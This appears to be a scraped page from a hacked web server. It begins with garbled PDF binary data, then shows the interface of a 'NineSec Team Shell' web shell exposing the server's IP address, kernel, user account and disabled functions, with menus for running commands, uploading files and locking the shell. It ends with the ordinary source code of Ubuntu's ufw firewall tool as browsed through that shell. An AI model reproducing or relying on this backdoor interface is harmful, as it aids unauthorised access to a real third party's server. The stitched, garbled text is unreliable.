%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 118.98.227.230  /  Your IP : 216.73.216.168
Web Server : nginx/1.18.0
System : Linux p3gtk 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /sbin/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //sbin/ufw
#! /usr/bin/python3
#
# ufw: front-end for Linux firewalling (cli)
#
# Copyright 2008-2018 Canonical Ltd.
#
#    This program is free software: you can redistribute it and/or modify
#    it under the terms of the GNU General Public License version 3,
#    as published by the Free Software Foundation.
#
#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details.
#
#    You should have received a copy of the GNU General Public License
#    along with this program.  If not, see <http://www.gnu.org/licenses/>.
#

from __future__ import print_function
import os
import sys
import warnings

import ufw.frontend
from ufw.common import UFWError
from ufw.util import error, warn, msg, _findpath, create_lock, release_lock

import gettext
kwargs = {}
if sys.version_info[0] < 3:
    # In Python 2, ensure that the _() that gets installed into built-ins
    # always returns unicodes.  This matches the default behavior under Python
    # 3, although that keyword argument is not present in the Python 3 API.
    kwargs['unicode'] = True
gettext.install(ufw.common.programName, **kwargs)

version = "0.36"

# relocate root and data directories if specified
args = []
rootdir = None
datadir = None
for i in sys.argv:
    if i.startswith('--rootdir='):
        if len(i.split('=')) == 2:
            rootdir = i.split('=')[1]
        else:
            error('--rootdir is empty')
    elif i.startswith('--datadir='):
        if len(i.split('=')) == 2:
            datadir = i.split('=')[1]
        else:
            error('--datadir is empty')
    else:
        args.append(i)

# Internationalization
gettext.bindtextdomain(ufw.common.programName, \
                       os.path.join(_findpath(ufw.common.trans_dir, rootdir),
                                    'messages'))
gettext.textdomain(ufw.common.programName)
try:
    # BAW: I'm not sure why both this and the .install() above is here, but
    # let's roll with it for now.  This is the Python 2 version, which ensures
    # we get unicodes.
    _ = gettext.ugettext
except AttributeError:
    # Python 3 always returns unicodes.
    _ = gettext.gettext

if sys.version_info[0] < 2 or \
   (sys.version_info[0] == 2 and sys.version_info[1] < 6):
    msg(ufw.common.programName + _(": Need at least python 2.6)\n"), \
        sys.stderr)
    sys.exit(1)


def clean_warning(message, category, filename, lineno, file=None, line=""):
    warn(message)


if __name__ == "__main__":
    warnings.showwarning = clean_warning
    app_action = False
    pr = None

    # Remember, will have to take --force into account if we use it with 'app'
    idx = 1
    if len(args) > 1 and args[1].lower() == "--dry-run":
        idx += 1

    if len(args) > idx and args[idx].lower() == "app":
        app_action = True

    try:
        pr = ufw.frontend.parse_command(args)
    except ValueError:
        msg(ufw.frontend.get_command_help())
        sys.exit(1)
    except UFWError as e:
        error(e.value)
    except Exception:
        raise

    if pr.action == "help" or pr.action == "--help":
        msg(ufw.frontend.get_command_help())
        sys.exit(0)
    elif pr.action == "version" or pr.action == "--version":
        msg(ufw.common.programName + " " + version)
        msg("Copyright 2008-2015 Canonical Ltd.")
        sys.exit(0)

    try:
        ui = ufw.frontend.UFWFrontend(pr.dryrun, rootdir=rootdir,
                                      datadir=datadir)
    except UFWError as e:
        error(e.value)
    except Exception:
        raise

    if datadir is None:
        lockfile = '/run/ufw.lock'
        if os.getuid() != 0 or 'TESTSTATE' in os.environ:
            lockfile = os.path.join(ufw.common.state_dir, 'ufw.lock')
    else:
        lockfile = os.path.join(_findpath(ufw.common.state_dir, datadir),
                                'ufw.lock')

    lock = create_lock(lockfile=lockfile, dryrun=pr.dryrun)
    res = ""
    try:
        if app_action and 'type' in pr.data and pr.data['type'] == 'app':
            res = ui.do_application_action(pr.action, pr.data['name'])
        else:
            bailout = False
            if pr.action == "enable" and not pr.force and \
               not ui.continue_under_ssh():
                res = _("Aborted")
                bailout = True

            if not bailout:
                if 'rule' in pr.data:
                    res = ui.do_action(pr.action, pr.data['rule'], \
                                       pr.data['iptype'], pr.force)
                else:
                    res = ui.do_action(pr.action, "", "", pr.force)

        if res != "":
            msg(res)

    except UFWError as e:
        error(e.value)
    except Exception:
        raise
    finally:
        release_lock(lock)

    sys.exit(0)

NineSec Team - 2022